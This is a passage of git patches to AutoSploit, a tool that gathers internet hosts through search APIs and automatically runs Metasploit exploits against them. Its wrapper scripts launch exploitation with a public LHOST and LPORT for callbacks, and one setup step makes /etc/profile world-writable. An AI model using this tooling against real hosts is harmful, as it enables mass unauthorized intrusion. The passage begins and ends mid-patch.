homebrew/versions/ruby21; + gem install bundler; + brew install postgresql --without-ossp-uuid; + initdb /usr/local/var/postgres; + mkdir -p ~/Library/LaunchAgents; + cp /usr/local/Cellar/postgresql/9.4.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/; + launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist; + createuser msf -P -h localhost; + createdb -O msf msf -h localhost; + installOsxMSF; +} + +function installOsxMSF () { + mkdir /usr/local/share; + cd /usr/local/share/; + git clone https://github.com/rapid7/metasploit-framework.git; + cd metasploit-framework; + for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done; + sudo chmod go+w /etc/profile; + sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile; + bundle install; + echo "[!!] A DEFAULT CONFIG OF THE FILE 'database.yml' WILL BE USED"; + rm /usr/local/share/metasploit-framework/config/database.yml; + cat > /usr/local/share/metasploit-framework/config/database.yml << '_EOF' +production: + adapter: postgresql + database: msf + username: msf + password: + host: 127.0.0.1 + port: 5432 + pool: 75 + timeout: 5 +_EOF + source /etc/profile; + source ~/.bash_profile; } function installMSF () { From a5408c8937bd779a8e347055469be0674915bf95 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:33:26 -0500 Subject: [PATCH 08/23] merging the double install method into a single section --- README.md | 53 ++++++++++++++++++++++++++--------------------------- 1 file changed, 26 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index 107d6af..4cfdf8e 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,32 @@ docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit EOF ``` +On any Linux system the following should work; + +```bash +git clone https://github.com/NullArray/AutoSploit +cd AutoSploit +chmod +x install.sh +./install.sh +``` + +If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; + +```bash +sudo -s << '_EOF' +pip2 install virtualenv --user +git clone https://github.com/NullArray/AutoSploit.git +virtualenv +source /bin/activate +cd +pip2 install -r requirements.txt +chmod +x install.sh +./install.sh +python autosploit.py +_EOF +``` + + More information on running Docker can be found [here](https://github.com/NullArray/AutoSploit/tree/master/Docker) ## Usage @@ -123,33 +149,6 @@ misc arguments: --whitelist PATH only exploit hosts listed in the whitelist file ``` -## Installation - -On any Linux system the following should work; - -```bash -git clone https://github.com/NullArray/AutoSploit -cd AutoSploit -chmod +x install.sh -./install.sh -``` - -If you want to run AutoSploit on a macOS system, AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. To do this, do the following; - -```bash -sudo -s << '_EOF' -pip2 install virtualenv --user -git clone https://github.com/NullArray/AutoSploit.git -virtualenv -source /bin/activate -cd -pip2 install -r requirements.txt -chmod +x install.sh -./install.sh -python autosploit.py -_EOF -``` - ## Dependencies _Note_: All dependencies should be installed using the above installation method, however, if you find they are not: From 7c3ca6a050679e39dcc4e98d75ee2afb5c2fe685 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:39:28 -0500 Subject: [PATCH 09/23] changing execution permissions on a couple files --- Vagrant/bootstrap/bootstrap.sh | 2 +- run_autosploit.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) mode change 100644 => 100755 Vagrant/bootstrap/bootstrap.sh mode change 100644 => 100755 run_autosploit.sh diff --git a/Vagrant/bootstrap/bootstrap.sh b/Vagrant/bootstrap/bootstrap.sh old mode 100644 new mode 100755 index 75e5f3e..7278465 --- a/Vagrant/bootstrap/bootstrap.sh +++ b/Vagrant/bootstrap/bootstrap.sh @@ -1,4 +1,4 @@ -#!/usr/bin/env bash +#!/bin/bash echo "Yolosploit configurator 2.42" sudo apt-get --yes update diff --git a/run_autosploit.sh b/run_autosploit.sh old mode 100644 new mode 100755 index b573908..e180146 --- a/run_autosploit.sh +++ b/run_autosploit.sh @@ -1,4 +1,4 @@ -#!/usr/bin/env bash +#!/bin/bash if [[ $# -lt 2 ]]; then From 80f7f84d3ae2a9d3bd9dbf21503e232253d48640 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:43:07 -0500 Subject: [PATCH 10/23] minor update to catch a an error --- autosploit.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/autosploit.py b/autosploit.py index 13c7eb5..f633a3c 100644 --- a/autosploit.py +++ b/autosploit.py @@ -1,5 +1,9 @@ from autosploit.main import main +from lib.output import error if __name__ == "__main__": - main() + try: + main() + except KeyboardInterrupt: + error("user aborted session") From f61b4fe86355097962a00c775b7dffda514ef5fe Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:43:25 -0500 Subject: [PATCH 11/23] minor update to make it 'prettier' --- lib/jsonize.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/jsonize.py b/lib/jsonize.py index 11d65e8..84d955b 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -50,9 +50,9 @@ def load_exploits(path, node="exploits"): retval = [] file_list = os.listdir(path) if len(file_list) != 1: - lib.output.info("total of {} exploit files discovered for use, select one".format(len(file_list))) + lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) for i, f in enumerate(file_list, start=1): - print("{}. {}".format(i, f[:-5])) + print("{}. '{}'".format(i, f[:-5])) action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) selected_file = file_list[int(action) - 1] else: @@ -88,4 +88,3 @@ def text_file_to_dict(path): _data = json.dumps(start_dict, indent=4, sort_keys=True) exploits.write(_data) return filename_path - From df0e293f9ddfe8665c864c3e638423520cf23a5a Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:46:43 -0500 Subject: [PATCH 12/23] editing the results, no hardcoded '*'s now, they have their own variable --- lib/exploitation/exploiter.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 3e31f26..e67ccb7 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -62,12 +62,10 @@ def sort_modules_by_query(self): self.sorted_modules.append(mod) return self.sorted_modules - def start_exploit(self): + def start_exploit(self, sep="*" * 10): """ start the exploit, there is still no rollover but it's being worked """ - # TODO:/ fix the rollover issue here - today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) makedirs(current_run_path) @@ -181,7 +179,7 @@ def start_exploit(self): linesep.join(msf_output_lines)]) print() - lib.output.info("********RESULTS**********") + lib.output.info("{}RESULTS{}".format(sep, sep)) if self.dry_run: lib.output.info("\tDRY RUN!") From 94035b828afeea6860c636073a31656a566f7168 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:47:34 -0500 Subject: [PATCH 13/23] minor update to edit a misspelling --- etc/scripts/start_services.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 2a4ca0f..13244b3 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -24,8 +24,8 @@ function main () { startApacheOSX; startPostgreSQLOSX; else - echo "[*} invalid operating system"; + echo "[*] invalid operating system"; fi } -main $@; \ No newline at end of file +main $@; From c2936af6e602176e95adbf0b86a06ae4bbee8161 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:50:38 -0500 Subject: [PATCH 14/23] pretty update --- lib/jsonize.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/jsonize.py b/lib/jsonize.py index 84d955b..f2d5d2c 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -24,7 +24,6 @@ def load_exploit_file(path, node="exploits"): """ load exploits from a given file """ - selected_file_path = path retval = [] From e31bb3ed90feea386dd3ba32ec511a576ee1a7e0 Mon Sep 17 00:00:00 2001 From: ekultek Date: Wed, 11 Apr 2018 09:51:08 -0500 Subject: [PATCH 15/23] fixes a minor typo --- lib/jsonize.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/jsonize.py b/lib/jsonize.py index f2d5d2c..39b08a8 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -12,7 +12,7 @@ def random_file_name(acceptable=string.ascii_letters, length=7): create a random filename. `note: this could potentially cause issues if there - a lot of file in the directory` + a lot of files in the directory` """ retval = set() for _ in range(length): From 75d4e5079a222665eff93b2c164375afa1c90c5d Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 7 Jun 2018 16:53:32 -0500 Subject: [PATCH 16/23] added TODO's for reference --- .gitignore | 1 + autosploit/main.py | 2 ++ lib/cmdline/cmd.py | 2 ++ lib/exploitation/exploiter.py | 18 ++++++++--- lib/settings.py | 14 +++----- lib/term/terminal.py | 61 ++++++++++++++++++++++------------- run_autosploit.sh | 16 ++++++--- 7 files changed, 71 insertions(+), 43 deletions(-) diff --git a/.gitignore b/.gitignore index 9e972d1..9e4dca0 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,4 @@ hosts.txt secret.p uid.p etc/tokens/* +autosploit_out/* diff --git a/autosploit/main.py b/autosploit/main.py index 2e95f67..57024b4 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -77,6 +77,8 @@ def main(): loaded_tokens = load_api_keys() AutoSploitParser().parse_provided(opts) + # TODO[5] figure out why this isn't used anywhere + # maybe we can just remove it, idk loaded_exploits = [] if not opts.exploitFile: misc_info("checking if there are multiple exploit files") diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index f662d85..0534291 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -154,6 +154,8 @@ def single_run_args(opt, keys, loaded_modules): elif opt.appendHosts: search_save_mode = "a" + # TODO[4]:// move the searches into their own class and call it from the static method if a search is needed + # this is ugly and i wanna change it if opt.searchCensys: lib.output.info(single_search_msg.format("Censys")) api_searches[2]( diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index e67ccb7..d20f5ea 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -1,6 +1,7 @@ -import datetime -import csv import re +import csv +import datetime + from os import ( makedirs, path, @@ -37,8 +38,16 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.hosts = hosts self.configuration = configuration self.mods = all_modules + # TODO[1]:// fix the relevant module sorting + # there's a bug in the way the modules are sorted right here + # it creates a temp file wit hthe query name, but if the terminal + # is run multiple times, it will not recreate the file and instead + # opens an empty self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH) - self.query_file = open(self.query).read() + try: + self.query_file = open(self.query).read() + except: + self.query_file = "" self.single = kwargs.get("single", None) self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) @@ -47,7 +56,7 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): def view_sorted(self): """ view the modules that have been sorted by the relevance - there is a chance this will display 0 + there is a chance this will display 0 (see TODO[1]) """ for mod in self.sorted_modules: print(mod) @@ -83,7 +92,6 @@ def start_exploit(self, sep="*" * 10): "All Logs"]) lib.output.info("Launching exploits against {hosts_len} hosts:".format(hosts_len=len(self.hosts))) - lib.output.info("{}".format((linesep+"\t").join(self.hosts))) win_total = 0 fail_total = 0 diff --git a/lib/settings.py b/lib/settings.py index 2fce057..e7ac8ad 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -34,7 +34,7 @@ RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) # path to the file that will contain our query -QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name +# QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name # default HTTP User-Agent DEFAULT_USER_AGENT = "AutoSploit/{} (Language=Python/{}; Platform={})".format( @@ -151,9 +151,7 @@ def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): load the API keys from their .key files """ - """ - make the directory if it does not exist - """ + # make the directory if it does not exist if not os.path.exists(path): os.mkdir(path) @@ -177,14 +175,9 @@ def load_api_keys(unattended=False, path="{}/etc/tokens".format(CUR_DIR)): def cmdline(command): """ - Function that allows us to store system command output in a variable. - We'll change this later in order to solve the potential security - risk that arises when passing untrusted input to the shell. - - I intend to have the issue resolved by Version 1.5.0. + send the commands through subprocess """ - #os.system(command) lib.output.info("Executing command '{}'".format(command.strip())) split_cmd = [x.strip() for x in command.split(" ") if x] @@ -205,6 +198,7 @@ def check_for_msf(): """ return os.getenv("msfconsole", False) or distutils.spawn.find_executable("msfconsole") + def logo(): """ display a random banner from the banner.py file diff --git a/lib/term/terminal.py b/lib/term/terminal.py index c0bf2da..16a8216 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -80,7 +80,7 @@ def view_gathered_hosts(self): def add_single_host(self): """ - add a singluar host to the hosts.txt file and check if the host + add a singular host to the hosts.txt file and check if the host will resolve to a true IP address, if it is not a true IP address you will be re-prompted for an IP address @@ -129,7 +129,13 @@ def gather_hosts(self, query, given_choice=None, proxy=None, agent=None): else: choice = given_choice while not searching: + # TODO[2]:// bug in the animation, if the user chooses one search engine to search + # the animation does not stop when the user chooses a single search engine, instead + # the user will see the animation continuously until they either: + # A) exit the terminal + # B) search another search engine try: + # something in here needs to change (see TODO[2]) choice = int(choice) if choice == 1: choice_dict[choice]( @@ -204,29 +210,36 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): ruby_exec=ruby_exec, msf_path=msf_path ) - sorted_mods = exploiter.sort_modules_by_query() - choice = lib.output.prompt( - "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( - len(sorted_mods) + try: + sorted_mods = exploiter.sort_modules_by_query() + choice = lib.output.prompt( + "a total of {} modules have been sorted by relevance, would you like to display them[y/N]".format( + len(sorted_mods) + ) ) - ) - if not choice.lower().strip().startswith("y"): - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info("starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() - else: - exploiter.view_sorted() - mods = lib.output.prompt("use relevant modules[y/N]") - if mods.lower().startswith("n"): - lib.output.info("starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) - exploiter.start_exploit() - elif mods.lower().startswith("y"): - lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) - exploiter.start_exploit() + + if not choice.lower().strip().startswith("y"): + mods = lib.output.prompt("use relevant modules[y/N]") + if mods.lower().startswith("n"): + lib.output.info( + "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) + exploiter.start_exploit() + elif mods.lower().startswith("y"): + lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) + exploiter.start_exploit() + else: + exploiter.view_sorted() + mods = lib.output.prompt("use relevant modules[y/N]") + if mods.lower().startswith("n"): + lib.output.info( + "starting exploitation with all loaded modules (total of {})".format(len(loaded_mods))) + exploiter.start_exploit() + elif mods.lower().startswith("y"): + lib.output.info("starting exploitation with sorted modules (total of {})".format(len(sorted_mods))) + exploiter.start_exploit() + except AttributeError: + lib.output.warning("unable to sort modules by relevance") + def custom_host_list(self, mods): """ @@ -268,6 +281,7 @@ def __config_headers(): for i in lib.settings.AUTOSPLOIT_TERM_OPTS.keys(): print("{}. {}".format(i, lib.settings.AUTOSPLOIT_TERM_OPTS[i].title())) choice = raw_input(lib.settings.AUTOSPLOIT_PROMPT) + # TODO[3] this is ugly so it needs to change try: choice = int(choice) if choice == 99: @@ -296,6 +310,7 @@ def __config_headers(): with open(lib.settings.QUERY_FILE_PATH, "a+") as _query: _query.write(query) proxy, agent = __config_headers() + # possibly needs to change here (see TODO[2]) self.gather_hosts(query, proxy=proxy, agent=agent) print(self.sep) elif choice == 1: diff --git a/run_autosploit.sh b/run_autosploit.sh index e180146..6aa9042 100755 --- a/run_autosploit.sh +++ b/run_autosploit.sh @@ -1,16 +1,22 @@ #!/bin/bash -if [[ $# -lt 2 ]]; then +# TODO[6] this causes an AttributeError somewhere + +if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./run_autosploit.sh " + echo -e "\t./run_autosploit.sh PORT [WHITELIST]" exit 1 fi -WHITELIST=$1 -LPORT=$2 +WHITELIST=$2 +LPORT=$1 LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` TIMESTAMP=`date +%s` -python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json +if [[ ! $WHITELIST ]]; then + python autosploit.py -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json +else + python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json +fi; \ No newline at end of file From b998ad8b26ed10b8bd8b095241a808b111ffa574 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 8 Jun 2018 09:18:25 -0500 Subject: [PATCH 17/23] changing from services to systemctl (issue #138) --- etc/scripts/start_services.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 13244b3..46195cc 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -1,11 +1,11 @@ #!/bin/bash function startApacheLinux () { - sudo service apache2 start > /dev/null 2>&1 + sudo systemctl start apache2 > /dev/null 2>&1 } function startPostgreSQLLinux () { - sudo service postgresql start > /dev/null 2>&1 + sudo systemctl start postgresql > /dev/null 2>&1 } function startApacheOSX () { From 158087b1cf8b8f7b0e74ccffc3db2380132eac1e Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 8 Jun 2018 09:29:07 -0500 Subject: [PATCH 18/23] creating a check to see if you are admin or not. Will close if you are not --- .gitignore | 1 + autosploit/main.py | 10 ++++++++++ 2 files changed, 11 insertions(+) diff --git a/.gitignore b/.gitignore index 9e4dca0..302e263 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ secret.p uid.p etc/tokens/* autosploit_out/* +venv/* diff --git a/autosploit/main.py b/autosploit/main.py index 57024b4..10cf170 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -1,4 +1,6 @@ +import os import sys +import ctypes import psutil import platform @@ -27,6 +29,14 @@ def main(): + try: + is_admin = os.getuid() == 0 + except AttributeError: + is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 + + if not is_admin: + close("must have admin privileges to run") + opts = AutoSploitParser().optparser() logo() From 41a938e7b9ed3d96af4103f9f4d5f83b56bf9bbb Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 8 Jun 2018 09:39:10 -0500 Subject: [PATCH 19/23] fixes the bug in sorting relevant modules (issue #141) --- autosploit/main.py | 4 +--- lib/exploitation/exploiter.py | 5 +---- lib/settings.py | 2 +- lib/term/terminal.py | 11 +++++++++-- 4 files changed, 12 insertions(+), 10 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index 10cf170..b4b2cfa 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -32,6 +32,7 @@ def main(): try: is_admin = os.getuid() == 0 except AttributeError: + # we'll make it cross platform because it seems like a cool idea is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 if not is_admin: @@ -87,9 +88,6 @@ def main(): loaded_tokens = load_api_keys() AutoSploitParser().parse_provided(opts) - # TODO[5] figure out why this isn't used anywhere - # maybe we can just remove it, idk - loaded_exploits = [] if not opts.exploitFile: misc_info("checking if there are multiple exploit files") loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index d20f5ea..0071279 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -44,10 +44,7 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): # is run multiple times, it will not recreate the file and instead # opens an empty self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH) - try: - self.query_file = open(self.query).read() - except: - self.query_file = "" + self.query_file = open(self.query).read() self.single = kwargs.get("single", None) self.ruby_exec = kwargs.get("ruby_exec", False) self.msf_path = kwargs.get("msf_path", None) diff --git a/lib/settings.py b/lib/settings.py index e7ac8ad..3f1250f 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -34,7 +34,7 @@ RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) # path to the file that will contain our query -# QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name +QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name # default HTTP User-Agent DEFAULT_USER_AGENT = "AutoSploit/{} (Language=Python/{}; Platform={})".format( diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 16a8216..7396b45 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -307,8 +307,15 @@ def __config_headers(): elif choice == 2: print(self.sep) query = lib.output.prompt("enter your search query", lowercase=False) - with open(lib.settings.QUERY_FILE_PATH, "a+") as _query: - _query.write(query) + try: + with open(lib.settings.QUERY_FILE_PATH, "w") as _query: + _query.write(query) + except AttributeError: + filename = tempfile.NamedTemporaryFile(delete=False).name + with open(filename, "w") as _query: + _query.write(query) + lib.settings.QUERY_FILE_PATH = filename + print lib.settings.QUERY_FILE_PATH proxy, agent = __config_headers() # possibly needs to change here (see TODO[2]) self.gather_hosts(query, proxy=proxy, agent=agent) From 145611d982503e28c25a5374efac99579287a3ee Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 8 Jun 2018 10:11:21 -0500 Subject: [PATCH 20/23] some updates for everything, PEPing and bashing syntax --- dryrun_autosploit.sh | 29 +++++++++++++++-------------- lib/cmdline/cmd.py | 17 ++++++++++------- lib/exploitation/exploiter.py | 5 ----- run_autosploit.sh | 5 +++-- 4 files changed, 28 insertions(+), 28 deletions(-) diff --git a/dryrun_autosploit.sh b/dryrun_autosploit.sh index 28f126a..c0c115b 100644 --- a/dryrun_autosploit.sh +++ b/dryrun_autosploit.sh @@ -1,28 +1,29 @@ #!/usr/bin/env bash -if [[ $# -lt 2 ]]; then +if [[ $# -lt 1 ]]; then echo "Syntax:" - echo -e "\t./dryrun_autosploit.sh " + echo -e "\t./dryrun_autosploit.sh [whitelist]" exit 1 fi -WHITELIST=$1 -SEARCH_QUERY=$2 +echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; +read + +WHITELIST=$2 +SEARCH_QUERY=$1 LPORT=4444 LHOST=`dig +short @resolver1.opendns.com myip.opendns.com` TIMESTAMP=`date +%s` -echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \ - --whitelist $WHITELIST -e \ - -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \ - --exploit-file-to-use etc/json/default_modules.json \ - --dry-run" +if [ ! $WHITELIST ]; then + echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run" + + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run +else + echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run" -python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \ - --whitelist $WHITELIST -e \ - -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \ - --exploit-file-to-use etc/json/default_modules.json \ - --dry-run + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run +fi; diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 0534291..44551fb 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -26,7 +26,7 @@ def optparser(): parser = argparse.ArgumentParser( usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n" - "{spacer}[-C] WORKSPACE LHOST LPORT [-e]\n" + "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitelist]\n" "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n" "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format( spacer=" " * 28 @@ -89,10 +89,10 @@ def parse_provided(opt): parser = any([opt.searchAll, opt.searchZoomeye, opt.searchCensys, opt.searchShodan]) if opt.rubyExecutableNeeded and opt.pathToFramework is None: - lib.settings.close("if the Ruby exec is needed, so is that path to metasploit, pass the `--msf-path` switch") + lib.settings.close("if the Ruby exec is needed, so is the path to metasploit, pass the `--msf-path` switch") if opt.pathToFramework is not None and not opt.rubyExecutableNeeded: lib.settings.close( - "if you need the metasploit path, you also need the executable. pass the `--ruby-exec` switch" + "if you need the metasploit path, you also need the ruby executable. pass the `--ruby-exec` switch" ) if opt.personalAgent is not None and opt.randomAgent: lib.settings.close("you cannot use both a personal agent and a random agent, choose only one") @@ -106,7 +106,9 @@ def parse_provided(opt): if opt.startExploit and opt.msfConfig is None: lib.settings.close( "you must provide the configuration for metasploit in order to start the exploits " - "do so by passing the `-C\--config` switch IE -C default 127.0.0.1 8080" + "do so by passing the `-C\--config` switch (IE -C default 127.0.0.1 8080). don't be " + "an idiot and keep in mind that sending connections back to your localhost is " + "probably not a good idea" ) if not opt.startExploit and opt.msfConfig is not None: lib.settings.close( @@ -133,7 +135,9 @@ def single_run_args(opt, keys, loaded_modules): ethics_file = "{}/etc/text_files/ethics.lst".format(os.getcwd()) with open(ethics_file) as ethics: ethic = random.choice(ethics.readlines()).strip() - lib.settings.close("Here we have an ethical lesson for you:\n\n{}".format(ethic)) + lib.settings.close( + "You should take this ethical lesson into consideration " + "before you continue with the use of this tool:\n\n{}\n".format(ethic)) if opt.exploitList: try: lib.output.info("converting {} to JSON format".format(opt.exploitList)) @@ -154,8 +158,7 @@ def single_run_args(opt, keys, loaded_modules): elif opt.appendHosts: search_save_mode = "a" - # TODO[4]:// move the searches into their own class and call it from the static method if a search is needed - # this is ugly and i wanna change it + # changed my mind it's not to bad if opt.searchCensys: lib.output.info(single_search_msg.format("Censys")) api_searches[2]( diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 0071279..9b1f8f1 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -38,11 +38,6 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): self.hosts = hosts self.configuration = configuration self.mods = all_modules - # TODO[1]:// fix the relevant module sorting - # there's a bug in the way the modules are sorted right here - # it creates a temp file wit hthe query name, but if the terminal - # is run multiple times, it will not recreate the file and instead - # opens an empty self.query = kwargs.get("query", lib.settings.QUERY_FILE_PATH) self.query_file = open(self.query).read() self.single = kwargs.get("single", None) diff --git a/run_autosploit.sh b/run_autosploit.sh index 6aa9042..9dfcdaf 100755 --- a/run_autosploit.sh +++ b/run_autosploit.sh @@ -1,14 +1,15 @@ #!/bin/bash -# TODO[6] this causes an AttributeError somewhere - if [[ $# -lt 1 ]]; then echo "Syntax:" echo -e "\t./run_autosploit.sh PORT [WHITELIST]" exit 1 fi +echo -e "[!] Make sure you are not on your localhost while running this script, press enter to continue"; +read + WHITELIST=$2 LPORT=$1 From ce914aa336c43bb31c54f21f1b9e5db0862a1d33 Mon Sep 17 00:00:00 2001 From: ekultek Date: Fri, 8 Jun 2018 10:17:44 -0500 Subject: [PATCH 21/23] the dryrun_autosploit script will now work successfully --- dryrun_autosploit.sh | 8 ++++---- lib/exploitation/exploiter.py | 3 +++ 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/dryrun_autosploit.sh b/dryrun_autosploit.sh index c0c115b..1089632 100644 --- a/dryrun_autosploit.sh +++ b/dryrun_autosploit.sh @@ -19,11 +19,11 @@ TIMESTAMP=`date +%s` if [ ! $WHITELIST ]; then - echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run" + echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" - python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e else - echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run" + echo "executing: python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite --whitelist $WHITELIST -e -C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e" - python autosploit.py -s -c -q 